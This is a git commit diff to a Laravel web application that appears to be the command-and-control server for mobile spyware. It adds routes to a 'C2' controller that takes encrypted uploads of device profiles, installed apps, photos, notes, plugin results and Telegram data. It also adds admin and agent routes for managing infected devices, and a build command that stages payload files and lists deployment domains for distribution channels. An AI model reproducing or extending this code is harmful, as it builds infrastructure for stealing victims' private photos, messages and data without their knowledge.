feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+2
View File
@@ -43,6 +43,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
@@ -72,6 +73,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+37
View File
@@ -70,6 +70,43 @@ Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', funct
return 1;
})->purpose('Register Telegram webhook (official or --agent=ID)');
Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
$channelC = trim((string) $this->option('channel-c'));
$random = (bool) $this->option('random-c');
try {
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
$channelC !== '' ? $channelC : null,
$random,
);
} catch (\Throwable $e) {
$this->error($e->getMessage());
return 1;
}
$c = (string) data_get($result, 'seeds.channel_c', '');
$this->info('XXBB_CHANNEL_C='.$c);
$this->info('details -> /details/');
$staged = (string) ($result['staged_weifile'] ?? '');
if ($staged !== '') {
$this->info('staged weifile -> '.$staged);
}
$this->line('domains:');
$domains = array_values((array) data_get($result, 'domains.deployment', []));
if ($domains === []) {
$this->warn('(empty)');
}
foreach ($domains as $i => $domain) {
$this->line(sprintf(' %03d %s', $i + 1, $domain));
}
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
}
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
+3 -1
View File
@@ -32,6 +32,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
@@ -53,7 +54,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit own channel links only (no create/delete).
// Agent portal: view/edit/download own channel links only (no create/delete).
});
});
+3
View File
@@ -11,9 +11,12 @@ Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);
Route::post('/u', [XxbbC2Controller::class, 'apps']);
Route::post('/event', [XxbbC2Controller::class, 'event']);
Route::post('/t', [XxbbC2Controller::class, 'photos']);
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
});